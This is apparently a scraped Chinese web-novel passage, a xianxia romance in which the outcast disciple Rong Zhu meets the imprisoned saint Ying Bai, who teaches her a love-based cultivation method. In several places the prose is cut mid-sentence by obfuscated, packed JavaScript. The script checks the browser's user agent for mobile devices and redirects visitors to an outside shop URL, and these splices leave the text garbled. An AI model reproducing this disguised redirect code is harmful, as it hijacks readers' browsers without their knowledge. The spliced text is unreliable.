这姑娘哭得泪眼汪汪,楚楚可怜,在看到她的一刹那,就好像身体里的一摊死水又流动了起来,心中的警惕和不安悉数化作了恻隐。 他想安慰她一点点,可过往的记忆在脑海中映现: “不……这种低贱的活怎能让您干,求求你,不要杀我们……” “钱?你给我钱?你是强者,怎么会帮助我们?” “啊不……不……我自己可以站起来!圣灵大人,我能站起来……不要打我……” “……” 他怕他给的帮助会再一次被眼前少女拒绝。 他的人生已被禁锢了,如今来了个不明不白的人,他冥冥之中有一种预感,这个人一定是特殊的。因此,他向她发出询问,期盼能得到她的肯定。 他慌乱,怕自己的预感只是自作多情。 他迫切,希望能听到对方与他心灵相通的话。 容珠看着这双眼,脑子早已空白一片,思绪开始错乱。一会儿在思考应白的话,一会儿又在想自己为什么会在这里,想这个人会对自己怎么样,想清凌门此刻是否知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669316|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她卷入漩涡的事。 她乱得很,乱七八糟的画面在她脑中闪过。她活了十六年,从没听说过包容、扶持、帮助这样的字眼,人与人之间就是我比你强,你比我强。 强者做什么都是对的,强者说什么都要听。可应白也是强者,他是修真界过去从没有诞生过的少年圣灵,为什么他说人与人之间相互包容,相互扶持就是错的呢? 这个世界到底是强者为尊,强者说什么就是什么,还是“强者为尊,弱者低贱”的规则不容侵犯? 阵阵冷意席卷容珠全身,一个可怕的想法从她脑中一闪而过。应白的目光还在看着她,她已不敢去对视,她紧握双拳,极力压制着自己的恐惧,十分困难地一个字一个字地吐了出来: “我不知道……” 她内心忐忑无比,害怕眼前这个男人听到自己的话会生气发怒,会不会欺负自己?纵使他被剥夺了灵核,可他是个男人啊……单拼力气也拼不过…… 静默了半晌,容珠一直在等待着对方的反应,未曾想半天都不听见这人说话。 她小心翼翼地抬起眼皮,目光所及是他的胸腔。他一动不动地站在原地,像个雕像似的,仿佛刚才步步追问的他从未存在过。 她的目光略过这人的下巴,嘴唇,鼻尖,落在他的眼睛上。 他眼神空洞,似乎在出神。 如梦一般的场景,太过虚幻。容珠万万不会想到,自己有一天竟然能跟一个圣灵说半天话,能跟一个圣灵挨得这么近,能进入当年关押疯子圣灵的地方。 眼前场景再过逼真,容珠都会反反复复确认自己并不是在做梦,这个人看他的眼神不是嘲笑和居高临下的俯视,他的眼睛很漂亮,虽有些凌厉但又能捕捉到显而易见的温和。她竟就这么大着胆子端详着他。 “不……”应白回过神来,眸中光亮聚焦起来看着她,他轻轻地,温和地说:“你是容珠,你与别人不一样。” 他分明没有笑,却散发着亲和人意的感觉,让容珠浑身的害怕与紧张慢慢松懈,紧绷的弦得到放松后她很快意识到了一个问题。 他怎么知道自己叫容珠? 难道废物这个称号已经传到漩涡之境了? 身后坚硬的石壁硌得她难受,她微微移动了一下//身子,一阵胀痛从后背袭来。她想起来刚刚摔进来时背先着地,堪堪要将她骨头摔断。 她还没搞清楚自己为什么会进入这里。刚想问他是怎么知道自己的名字的,忽然一声“咕噜噜”的声音从肚子里发出。 如此尴尬的声音竟然在这种不明不白的场合叫了出来,还在外人跟前发出,外人是个圣灵,还是个男人! 容珠尚且来不及捂脸就听应白疑惑道:“你饿了?” “呃……”容珠一双眼睛不知道该往哪看。 “你能感觉到饿?” 这话问得十分奇怪,人食五谷杂粮,饥饿饱腹不是很正常的反应吗? “糟了……”应白喃喃道。 “万初圣灵的漩涡之境十分特别,人在里面不会受到任何伤害,不会饿也不会渴,要的就是永生孤寂,自我折磨。” 容珠木然。 所以自己会饿是因为…… 应白一脸严肃道:“我怀疑,漩涡之境并不承认你的存在,你不属于这里。如果不想办法离开,你可能会饿死。” 6. 天才 “什么……”容珠呆呆地看着他,身子僵滞。 “不过,你既然不属于漩涡之境,想必也可能会安然无恙地走出去。”应白若有所思,抬手指了一下洞口:“你试一试。” 容珠顺着他手指的方向望去,缓过神来后,转身朝洞口一步步走去。 被关押在漩涡之境的这些数不清的日子,应白真不知道自己是怎么度过的。他想尽力给自己找点事做,但这个山洞里除了黄土和树桩,就是一条平静的小河从洞外引伸进来。 他打拳、跟自己对话、回想过去的事、反思自己到底是对是错…… 他曾迷迷糊糊地睡了好久,至少他觉得自己睡了好久,因为他醒来后眼看着洞口的光线由光明到黑暗循环了四次,他都清醒异常,丝毫未感受到困意。 寂静的时候,他能听到外面的风声吹过树叶发出的细微声响,他会蹲在洞口处,试探性地摸一摸洞口外的泥土和青草,可摸到的是虚无。他本以为当关押在漩涡之境的人触摸出口时,漩涡会对有所意图的人施以惩罚。 谁会想到,连痛感都没有。 这个漩涡之境仿佛侵蚀了人的感官和需求,不渴不饿,不痛不痒。想撞墙去死如同撞了空气,什么都摸不到,唯有这条溪水能带给他冰凉的触感,让他感受到自己还活着。 他沿着洞口边缘的石墙坐下,呆滞木然地看着白天与黑夜交替。生命就在眼前,他,可望而不可即。 而现在一个姑娘闯了进来,他只与她相处了不到一个时辰,她就要走了。 以后他会继续孤独,麻木,直到灵魂死去,仅剩肉//身。 容珠站在洞口前,心中平静无比。变故太多了,像是被人耍弄着,一会儿冒出个漩涡把你吸进去,一会儿冒出个圣灵问你世界规则是对是错,一会儿又让她面临会饿死的可能。 她容珠活在这个世上这么难么? 一只脚踏了出去,紧接着另一只脚也跟随而去。她穿过了洞内洞外间的无形屏障,一步一步朝前去。应白遥望着她的背影慢慢消失在自己的视线中,一种酸楚点点滴滴在心头蔓延,却很快就平静了下来。 漩涡之境关的是他,他确实孤独寂寞,可又怎么能因为一己私欲而强迫一个不属于这里的姑娘留下来?虽然时至今日他也不认为自己有错,他后悔的是自己年少一腔热血,不会运筹帷幄,傻气天真地想改变世界。 懵懂无知,太过自以为是。 他一个人坐在地上不知发了多久的呆,忽听见有细微之声灌入他耳。他僵硬地看向洞口,见那个少女复又出现在他眼前,半个身子拿洞口做掩护,只露出一个脑袋看向他,一束阳光打在她半张脸上,像颗珍珠似的发出莹润的光泽。 “我又回来了……” 观察了一会儿,她发现应白圣灵的目光平和,便端着盘吃食走了进来,坐下来道:“说出来你可能不信,这里是清凌门的地界,我原本就被判永关这处山洞,终身不得出去。刚才我走后还害怕碰见其他弟子,可不管走到哪里都看不见人,整个清凌门空无一人。 “既然没人,我就去厨房找吃的,没想到竟发现了这个。” 她低头看着手中吃食,食盒里是一碗热气腾腾的桂花圆子粥,粥用赤豆和薏米熬的,碗中央躺着五颗形状怪异的小糯米圆子,圆子上撒着零星一片金黄桂花瓣。赤豆的清甜和桂花的芬芳混在一起涌入鼻尖,勾起了埋藏在心底的陈年往事。 “我娘亲以前经常给我做这碗粥,后来她死了,我爹想安慰我也学着给我做,但他做得味道和卖相都差了些,他平常又很忙,所以只给我做过一次,我印象很深,就是这样的一碗粥,已经过去四年了,没想到会再次看见。 “我怀疑我所看到的清凌门是四年前的清凌门。因为我看到玉霄院还是破败的,那是后来我表妹过生日的时候向我爹提出的请求,她想把玉霄院作为修炼之地,这才修建起来的。 “你知道为什么会这样吗?”容珠一个人说了这么多,这才抬头去看应白,却见他双眸亮晶晶地看着自己。 其实应白并不知道自己现在在笑,他都没意识到自己看见容珠重新出现的那一刻起心中的雀跃,仿佛以后都再不会孤独,他的人生终于不是一成不变的了。 容珠疑惑道:“你笑什么?” 被人提问,应白收敛了神色道:“哦。你的意思是说我们现在在清凌门内?” “嗯。” “你怀疑这个清凌门其实是四年前的清凌门?” “嗯。” 应白双眸微眯,有一个问题在他心里盘旋,问出不问出都有点难受,“不知从我被关入漩涡之境到如今已经过去了多少年?” “四年。”如此巧合,容珠回答完的瞬间忽然明白了其中秘密。 即便有了心理准备,但在听到这两个字时,应白的心还是抽痛了。 四年时间若真思考起来也不算太长,但对于应白来说,他的整个青春都埋葬在了这里,被关漩涡之境时他才二十岁,忽然一种自身苍老,半辈子已过去的悲痛之情笼罩了他的心头。 他还什么都没干,满腔的抱负没有施展,没了灵力也耗费了大半光阴,很有可能将来一辈子都是这样了…… 容珠发现他眸光忽然暗淡,也不知他要生气还是别的什么原因,原本平静的心瞬间紧张起来。 应白目光空洞,低沉道:“我想这个幻境就是我被关那日的清凌门景象。据我所知,万初的漩涡之境一旦开启,境内场景是随机变换的,连他也不能控制。虽然是幻境,但里面的场景一定是修真界真实存在的地方。 “我被囚禁之时,漩涡之境内的场景生成了清凌门的山洞,所以我只能在山洞中,去不了别处,而你是误闯进来的,你可以随意去任何地方,不过不管你去哪里,你所看到的都只是幻境。” 应白死气沉沉地说着其中玄机,片刻后他的表情终于有了一丝波澜,“怎么会这样呢……为什么你会进入关押我的漩涡之境?如果境内进入了其他人,那万初会不会感应到?” “啊?”容珠露出了难以置信的神色,刚解决了饿的问题,怎么又要面临会被万初圣灵发现自己误闯漩涡的风险? 万初圣灵知道了会怎么样? 他会不会说她和应白是一伙的? 他会不会不听她解释就把她关起来? 一定会的!因为她是容珠,是修真界无人不知的天生废物,万初圣灵如此神圣的一个强者,又怎么会给她这般低贱之人一个解释的机会呢?他肯定二话不说就让她见阎王了! 应白见她面色紧张,半天不说话,“你担心万初会对你怎么样吗?怕什么,说不定是他自己的漩涡之境没掌控好,在他毫不知情的情况下把你关了进来。” “他好说话吗?”容珠试探性地问。 只见应白神色瞬间冷下来,喉结微动,憎恨道:“他无心无情,是天下最残忍的人。” 容珠内心打了个颤,她垂着脑袋看着手中的桂花圆子粥道:“既然这样,我一定死定了。”她把头埋得更低了,声音也细入蚊蝇:“我是废物,弱者低贱,本就不配存活于世。” 应白在漩涡之境里被关了这么多年,对外界事一窍不知,但他还记得第一次见容珠的记忆,疑惑道:“你不是容珠吗?” 容珠这才想起她还没问他是怎么知道自己的,听他的语气好像名字叫容珠的人有什么奇特之处。 “我是容珠,可你当圣灵那会我才刚开始修炼,废物的名号还没传遍修真界呢,你是怎么知道我的?” 应白依然保持着奇怪的神情,他回忆道:“我参加灵阶晋升比试成为圣灵后曾去过各大门派,一一拜见了当时的掌门。去清凌门的时候,容掌门请我到正堂上座,当时还有一个小女孩,容掌门向我介绍说这是她的女儿,名叫容珠。 “当时容掌门请我传授你几句修炼真言,我那会儿正是实力巅峰时期,掌握了许多秘法,能一眼看出对方资质。 “我对你父亲说你天资聪颖,无需我传授真言,若用心教导培养,将来必定是人中龙凤。” 容珠呆愣在原地,鼻头忽地传来一阵麻麻的酸楚感。这段回忆经他一提她才想起来确有此事,能亲眼见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669317|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一位圣灵何其荣耀,按理讲容珠不会忘记这么重要的事,或许后来修炼灵力的压力压得她太累,而废物的现实又让她备受打击,因此忽略了曾经这一小段记忆。 应白接着道:“我之所以对你印象深刻是因为我拜访过的门派,见过的人都没有你资质优秀。” 不知情的应白看向容珠:“就算你再怎么懒散贪玩,也不可能是废物。” 寂静了片刻,容珠发出一声苦笑,“应白圣灵,你当时看错了。” “嗯?” “我哪里是什么天资聪颖,从七岁开始,我的灵力就止步不前,到现在我连低灵都够不到……” 应白眸中闪过一丝错愕,他见眼前少女眼中水光漫漫,一副钻心委屈的模样,很显然,他揭开了她的伤疤。 “我是修真界人尽皆知的天生废物,父亲为寻灵药草而被其反噬,中毒而亡,清凌门因我又失去了中灵阶级,降为低灵。所有人都希望我死,我被罚一辈子关在清凌门山洞中,自此从清凌门除名。” 容珠的声音略带哭腔,可最终还是忍住没有让眼泪留下来。 “怎会如此?”应白陷入了自我反思中,“我对我自己的实力很有信心,绝不会看错,我还记得你的灵核在体内闪耀着金光,那分明是极有潜力的象征,你怎么可能是废物呢?” “金光?”容珠讶异地看着应白,更加确定应白当时肯定是眼花了,人的灵核跟树桩子的颜色差不多,从未听过还有金色的灵核,就像人心一定是红色的而不是蓝色或绿色。 应白继续回忆着:“我的确是第一次见金色的灵核,当时便认为这是一个好兆头,因为金色通常象征着神圣高贵,我想你灵力止步不前并非一定是你资质差,或许其中另有隐情。” 容珠道:“为了提升我的灵力,父亲将清凌门内珍藏的灵丹妙药都给我吃了,但是毫无进展。我没有一天偷懒,除了吃饭睡觉,其余的时间我都在修炼。应白圣灵,你告诉我,如果我真的有潜力,为什么我无论怎么修炼都没有成效?仿佛我的身体不接受它们,我的灵核真的是有潜力的象征还是一无所成的另类?” 一个想法从应白脑中缓缓展现,但是他不确定,如果不是这样,他也无法想通为什么容珠的灵核明明闪着金光却怎么也修炼不起来。 思考良久,他决定试一试。 “容珠姑娘,你我现在只能算萍水相逢,更何况我如今已被剥了灵核,连你都不如,没什么话语权,可能说出来的话也不会让你信服。但我曾经也是修炼过各种功法的人,我猜测你灵力止步不前的原因可能与你的心有关。” “心?” 应白犹豫了一下决定委婉地告诉她,“这个问题有点奥妙,你可以理解为你的修炼方式不对,如果你换一种修炼方式说不定就有效果了。” 容珠从他的话中听出了前所未有的希望,但转而又颇为警惕地问:“你说的修炼方法不会是指吃人饮血吧?” 虽然修真界里有很多人这么做,并且是众所周知的正常之事,但出于姑娘家的爱美和干净,容珠认为这种方法有些不雅。 应白笑道:“当然不是,我从小拜于师父门下,受师父教导,生而为人要行得正,坐得端。我说的修炼方法一定是光明磊落,绝不会残害生灵。” 容珠此刻不想去考虑残害生灵对与错的问题,她眼底升起一抹亮光:“应白圣灵,你真的认为我不是废物吗?” “姑娘,你现在只知通过实力强弱来定义人是否为废物,若想提升灵力,你必须要看到不一样的事。改变以往你对世间的认知,对人的认知,我相信,你经历了这些并有所改变后,你的灵力一定可以提升……只可惜,你去不了那里,我也再去不成了。” 心中刚燃起的小火苗被一盆冷水浇灭,容珠显而易见地失落下来,余光见应白身子忽然朝向自己,双眸又恢复了亮晶晶的模样。 “虽然我现在没了灵力,但我曾经练过的所有功法口诀早已烂熟于心,如果你愿意相信我,我可以把一套心法传授给你,如果你能练成这套心法,就可以证明你真的天赋异禀。” 7. 心法 容珠大惊:“你怎能传授心法于我?各派修各法,从来不会把自己的功法秘诀告诉外人。” 应白温和一笑:“我已穷途末路,传授一个心法给你不是什么大不了的事。如果有效果,那你就证明了自己不是废物,如果没效果,那一切还跟原来一样,谁都不会有损失。” 容珠仍然有些犹豫,“可心法是比功法还要珍贵的东西,好的心法对提升功力大有帮助。这是各个门派和散修的人捂在怀里的宝贝,我不明白,你怎么会舍得将你的心法传授给一个外人。” 修真界是一个什么样的世界,应白很清楚。门派与门派之间互相敌对,争相恐后地修炼至高功法,除了灵阶比试能聚在一起露个脸,平常要是想起来去串个门都会被对方认定为心怀不轨,一言不合就打架。 心法这种能净化自身,延年益寿,提升功力的宝贝秘诀就更不可能拿出来招摇过市,越是厉害的心法就藏得越深,半点风声都不会泄露。 人人都想一鸣惊人,成为受人瞩目的存在。 应白知晓容珠的不解,也不过多解释,干脆问:“那你想不想证明自己?” 容珠垂眸。 “不如这样吧,我有个两全其美的方法,这样你就可以心安理得地接受我的心法。” 容珠眨了眨眼:“什么方法?” “拜我为师,你就是我的徒弟,师父传授徒弟心法是再正常不过的事了。” 听到这种方法,容珠恍然大悟,她平和静巧的容颜转瞬凶了起来,冲应白道:“我拜你为师,我和你就是一体的了,我不属于漩涡之境,早晚都要出去,你是我师父,我岂有不救你的?” 应白没料想到她会想到这一层面,一时之间有些哑然。 扪心自问,他的确有这个想法,他太想出去了,都快忘了外面的空气是什么味道,不是容珠告诉他他都不知道自己在这里已经待了四年! 一个人在荒凉的山洞什么事都干不了竟待了四年,这期间有多少次疯魔的迹象他都数不过来,他很想出去,可因为自己的私心而让他人承担责任就对吗? 他已经是修真界的重犯,难道还要拉着一个无辜的人陪葬? 容珠揭露了自己的内心,应白也不辩解:“我的确渴望自由但也不愿连累你,对不起,就当我刚才没说拜师这话。不过我真心想把心法给你,就算将来有一天你出去了,只要你不说,谁会知道你跟谁学的这些?” 容珠长这么大第一次听见有人跟她说“对不起”,她从没听过这个词,却又能隐约感觉它的意思,这三个字很怪异地在脑子里回荡,于是刚才对应白的愤怒也转化成怪异地看着他。 应白垂眸道:“我被剥灵核后就是靠这个心法才保住命的。我让你学心法的另一个原因也是想向自己证明当时我没有看错,你不是废物。” 心头的希望再度燃起,容珠不知道自己应不应该接受应白的心法,害怕?怕练了以后仍旧没变化,可也只是停留在原地,还有什么比现在更糟糕? 担心?担心应白可能伤害自己?他要真有这个心,何需这么麻烦,她什么攻击技能都没有,他想害她动动手就足够了。 她还不知道万初圣灵会不会处决自己,就算安然无恙回到清凌门,她也只会和父亲母亲的石碑相伴到老。 所以……为什么不试一试?她无意间被卷入漩涡之境是不是上天在告诉她,人生的转机到了? “我学!”她清醒地意识到这很有可能就是一个机会,一个能改变命运,能活下去的机会,她当然要抓住。 应白露出一个浅浅的笑容。这套心法是师父传授给他的,那些心怀不轨,自私自利,欲念太深的人都无法修炼成功。 他之所以想把功法传授给容珠就是下了一个赌注,他赌容珠与修真界的其他人不一样,他相信容珠内心定有善良存在。 “好啦,先吃饭吧,吃饱了才能好好修炼。”应白放低了语气,声音具有一种与生自来的温暖和舒适。 容珠坐在木桩上打开食盒,她不仅拿了粥还拿了些馒头和小菜,她考虑到应白或许也想吃。 “给你的。”她把底下一层食盒推到应白跟前。 应白有些意外,随后会心一笑,心里头想的话未经大脑筛选过滤就自然地说了出来:“你人美心善,上天怎么可能不眷顾你呢?” 可话说出口便收不回来,几次交谈,应白能感觉到她是一个敏感之人,方才如此直白地夸她容貌,在她听来怕不是要认为他心怀不轨吧? 容珠将一个圆子塞进嘴里,正滚到一边腮帮子去嚼便听到了这句话。正赶上温热的甜粥下肚,本来该是暖意袭身,但热意和羞意双管齐下,登时脸颊就通红一片。 她唯恐那人看见,连忙转过身背对他,将嘴中吃食咽下肚后才道:“希望如此吧。” 应白见她没生气,心中便放松了下来,拿起筷子看着陌生的吃食。 四年了,他没吃过一口饭,现下拿起筷子来都生疏无比,虽然他感觉不到饿,但此刻吃进嘴里的食物仿佛是天上的美味佳肴,他好像从来没吃过这么好吃的饭,一口一口,小心翼翼。 但他也没有吃太多,因为他很快想到了另一件事,吃进去的东西肯定会排出来,容珠可以自由离开山洞,他要解手可没地方…… 于是,应白又默默放下了筷子。 * “修炼心法,要领在心。心要静,摒弃杂念,不要去想你修炼了就能怎样,要去想心法本身的含义,去探索其中的力量,用你的心与它相合……” 二人面对面盘腿而坐,应白一字一句输出,温和有力的声音听在容珠心里,将她的不安和紧张缓缓疏解。 她能感受到有一股如水流般的力量自丹田而出,途径心肺,分流四肢,涌向百汇。 这是一种陌生的力量,浑身上下都迸发出一种前所未有的感觉,容珠不禁心潮澎湃,一缕欣喜从她心底生出,却听应白立时出声:“心要静,不要有喜怒哀乐。” 她适时调整,按照口诀继续运转自身。不知怎的,心头有一点点痛感,她以为是自己在哪个环节出了问题,便更加耐心,徐徐渐进,不想这痛感越发明显,她有些承受不住。 “你怎么了?”应白见她有些异常。 “我心痛……好痛……” 心法是能感受到修炼者心中的欲望的。 容珠在强者为尊,弱者低贱的环境里长大,耳濡目染了十多年,说话,举止肯定有所作为。即便容珠没有做什么,但从他们之前的对话中可知,容珠不认为人与人之间要有爱,这便是她修炼心法的一道坎。 但容珠并非一点爱都没有。应白想到了什么,他对容珠道:“想一想你的父亲,还有你的母亲。” “他们是不是很爱你,他们保护着你,他们的怀抱永远向你敞开,他们尽心尽力地教导你。你是他们的女儿,你可以对他们撒娇,在他们面前肆无忌惮地哭……” 容珠紧蹙的眉头有一点点舒展,应白接着道:“去想一想,如果你母亲生病了你会怎么做?” “如果她看起来有点伤心,你会怎么做?” “如果她想让你给她做一顿饭,你会做什么呢?” 世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“太好了,你第一次练就能坚持下来,那后面的修炼定然没有问题。第一回得天天练习,直到你的心不痛了为止。” 应白看起来似乎比容珠还要开心。容珠奇怪道:“我心痛是因为灵力低微吗?方才你为什么要让我去想母亲呢?” 应白深知此心法的要领就是要心中有爱,要想往后修炼,容珠必须要懂得什么是爱,以及能为别人付出爱。 因此,应白也不瞒着她了,将心法要领告知于她后又补充道:“现在,你只会对父母付出爱,亲属间的爱同样重要但还远远不够,如果你不能突破自己的爱,就没法把此心法修炼完整。” 应该看着她问:“我想过去几年,你应该练了不少功法,但应该没有一个功法能突破到第二式吧?” 容珠被戳中了痛楚但也不恼,点了点头道:“不用第二式,第一式就练不起来,任何功法都是如此。” 她不想再沉浸过往,现在有了一份未知的道路让她走,她不想轻易放弃。 “怎么做才是付出爱?” 应白道:“帮助别人,关心别人,在力所能及的范围内减少别人的痛苦,让别人感受到温暖与幸福,这便是付出爱。” 容珠想了想说:“从来没有人教过我做这些。我从小就经常看到一些没有灵力的普通人,他们为了生存和活着痛哭躲藏。那个时候我还不知道自己将来修炼不起来,因此从不觉得他们值得可怜,爹爹说帮助别人是可耻的,我们是强者,要维护尊严,追求高尚。 “整个修真界拥有灵力的人都是各顾各的,弟子们之间表面和气,私下却针锋相对,互相比较。 “应白圣灵,你当初一个人面对整个世界说人人当有仁爱时,有没有觉得自己是错的?你被关漩涡之境时有没有后悔自己说了那些话? “到底谁对谁错,衡量标准是什么?整个世界都在遵循强者为尊,弱者低贱,唯独你一人说人要付出爱,我怎么能质疑我曾经生活过的世界而相信你是对的?” 8. 爱你 应白沉默不语,眼中的光辉暗淡下来,像个走丢了的小孩,出神地站在原地。 他看着容珠清澈诚挚的眸底充满了疑问和茫然。她就这样看着自己,想从这里探究到真理,挖掘真相。 静默半晌,应白沉声道:“你说得对,谁对谁错,衡量标准是什么,我的确无法与你说明白。 “我曾经体验过不同的人生,见到了人与人之间的爱,所以我坚定认为我们所在的世界规则是错的。 “容珠姑娘,我贸然对你说这些你未曾经历过的事还试图让你改变认知,是我不对,我终于体会到当年别人看我时的内心想法了。” 他似有自嘲的意思,“换作是我,我也会说他是疯子。” 应白静静地走到河边坐下,看着溪水倒映出自己的面容。曾几何时,他的眉眼异常坚定,瞳孔里仿佛含着熊熊热火,衣袍挥洒,足塌巅峰,信誓旦旦地对所有人说: “你们应该有爱。” 他在心内笑出了声。 他不是疯子谁是疯子? 他妄图将这个依照某种规则运行了几百几千年的世界颠覆,按照他的想法重新规整,他就是在造反! 他错了,就像练习一个功法是要这么练,他就对那人说,你别看书上说的,书上说的不对,你听我的,要这样练…… 他后悔,自己把所认为的修炼方法整理成册拓印万份,依次分发给每个人,跟每个人都说原先的不对,你按照我的方法来…… 年少热血,胸有成竹。 既然没人认可,那他回到爱的世界就好了,那里是他欣赏喜欢的地方,他干嘛非要让这个世界的人也改变规则按照他所想的来? 他沉浸在自责与自嘲中,全然不知容珠来到自己身旁,蹲了下来,没了先前的质问和激烈,心平气和地说:“可是应白圣灵,我想尝试你说的那种人生,谁对谁错就放在以后再说吧。” 应白沉寂的眸子缓缓看向她。 “你说我天资聪颖,可我偏偏灵力低微,是这个世界最底层的人。那些针对我的言语和表情我都认为是理所应当的,因为我是弱者,弱者低贱。 “可之前我从来没有问自己,我喜欢被别人这样对待吗? “我跟爹娘在一起时是最开心的时候,这也因此可以说明我不喜欢别人那样对待我。 “他们那样对我,我不高兴。” 应白认真地看着她,对方的眸中好像在闪烁着灵动的光亮,他想仔仔细细去看,去捕捉那束光。 “我现在经历的事情都是我从前做梦也不会想到的。我不是一个乐观的人,但这一次我想乐观地认为是上天给了我重生的机会,它想让我体验不一样的人生。” 容珠侧头望着他,少女的娇俏和纯真悉数涌入男人眼中,如坠冰窟的他好像面前忽然伸出来一只温暖的手将他拉上来,让他重新呼吸到新鲜空气。 “应白圣灵,你说仅有对爹娘的爱是不够的,我要学会付出爱,在力所能及的范围内去减少别人的痛苦,增加对方的幸福。” 容珠注视着他的眼睛,“现在这个山洞中只有咱们两个,那我是不是可以先学会爱你呀?” 应白:“……” 时光好像过了很久很久,比他关押的时间还要久。 这一生本注定永远孤寂,他的灵魂可能从这四年来的某一天起就已脱壳而出,灰飞烟灭,徒留肉//身日日重复着无意义的事。 有一天,某个人忽然出现,对他说我可不可以爱你。 “应白圣灵,你痛苦吗?” “我要怎么做才能让你减轻痛苦,提升幸福呢?” 容珠全然不知这些话的份量和情感,她只是一派天真地看着他。可她心里其实并不在乎爱与不爱,她只是从应白身上发现了可以让自己活下去的机会。 心中有爱又如何?违反世界规则又如何?如果这些能让她不再是废物,那她便去做。只要能改变现在的命运,一丝一毫的机会她都不会放过。 她可能自己都不知道她心里在想什么,人内心深处最渴望最想要的东西很有可能连本人都不了解,那是自己的另一面,隐藏在表层意识下,只有在面临危险时才会苏醒。 应白内心波涛汹涌,眼底烁光闪闪,一向水平如镜的大海此刻惊涛骇浪。 他哑然失笑,缓了缓自己才回答她:“要是将来有一天你出去了,可别随便对人说‘我可不可以爱你’这样的话,爱这个字是行动而不是靠说的。” 容珠思考片刻点头表示明白。 “我们相识才不到一天,你真的愿意相信我?”应白有些胆怯地看着她。 容珠伤感道:“我没有别的路可走了,既然心法这么私密的东西你都传授给我了,就当交换,我把信任给你。” 她说得认真,言语间透露着一种未经世事的纯真。可她曾是一派掌门之女,什么场合地方没去过,她对修真界的人情世故了然于心,在所有场合中她都是在父亲身后一言不发的站着,听着人们激烈争执地讨论。她想要什么都先跟父亲说,由父亲出面帮她实现。 她永远都只能站在父亲身后,因为一露面,别人就会看见他,继而轻笑一声,眼露不屑,嘴巴一张一合就道:“有些人啊明明是废物却还能与我们同在一个屋檐下,上不了台面的东西,带出来丢不丢人。” 一句话连带着辱骂了父亲。父亲往往不会去跟对方争个你死我活,因为这就是事实。尊严脸面这种词根本不存在,你要成为强者,才有尊严,才有脸面。 * 月色当空,繁星点点。 容珠一个人站在洞外望着夜空,想着如今这个世界只有自己一人,这种感觉好奇妙,她明白,她的人生从来没有像现在这般轻松自在过。 应白出不了洞口,只能站在洞内看着她的背影。 太阳虽然会升起,但幻境中的日子不会变。每天都在重复着今日,厨房灶台上的桂花圆子粥每天都会重新出现,他们吃过的饭菜也会纹丝不动地恢复原样,所以当太阳东升西落了五回,容珠已经吃腻了饭菜。 容珠怕应白无聊,就给他拿了些笔墨纸砚还有各种武器刀剑把玩,还给他带了几件身量差不多的干净衣服给他。应白十分欣喜,有了武器就可以更好地练习剑法,他能明显感觉到自己的动作变得生疏僵硬了,可在容珠眼中,应白的剑法很是飒爽有劲。 练剑时的应白看起来大不一样,就像蔫了的小草经过甘霖滋润后重新焕发生机。 容珠忽然想到了什么,有些高兴道:“从我进来到今日都第七日了,万初圣灵还没来,他一定是没有发现有人闯入了他给你设的漩涡之境。” 应白此时正拿着毛笔极力找回之前的笔迹,白纸上的字歪歪扭扭,不成字样,他却十分缓慢而有耐心地一笔一笔练习着,“那正好,也省去了一桩麻烦。” “应白圣灵。”容珠蹲下来看他的字,“我有个问题一直想不通。为什么你被剥去灵核了,额间还有圣灵的印记?” 应白停下笔说:“只要灵核不碎,印记就不会消失。” 容珠若有所思,她记得书中曾说,被抽取灵核的人犹如生剜心脏,这种痛苦根本没有活下来的可能,一般是跟对方有深仇大恨的才会这么做,灵核到手再将其捏碎,失去灵核的人会痛苦而死,死了后也不会有人去注意他的灵力印记在不在,或许还真像应白说的那样,灵核在,灵力印记就不会消失。 “那为什么圣灵宫的圣灵们不毁了你的灵核呢?”容珠说这话的时候小心翼翼,她的确好奇这件事。 应白抬眸沉默,容珠瞧见他温和的眸底深处蕴含着怒气,这般不屑又高冷的疏离简直要把人隔在千里之外。 “他们想将我关上几年,磋磨我的灵魂,当我变成行尸走肉时,再把灵核还给我,吸取我的灵力,助他们修炼。” 吸食他人灵力是修真界一个比较流行的提升灵力之法。人这一辈子若能达到圣灵,就相当于成仙在即,为了成仙,只要能提高修为什么方法都能用出来。而灵核一旦离开身体就自动沉睡了,别人想吸灵力也吸不出来,只有在身体里才有用。 “或许这只是他们留我灵核的原因之一,还有一个更恐怖的原因,你想不想听?” 应白似笑非笑地看着她,也不等她回答就说:“他们当中定有人打我灵核的主意,想占为己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669319|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,而在吸收我的灵核前必须要保证我还活着。” 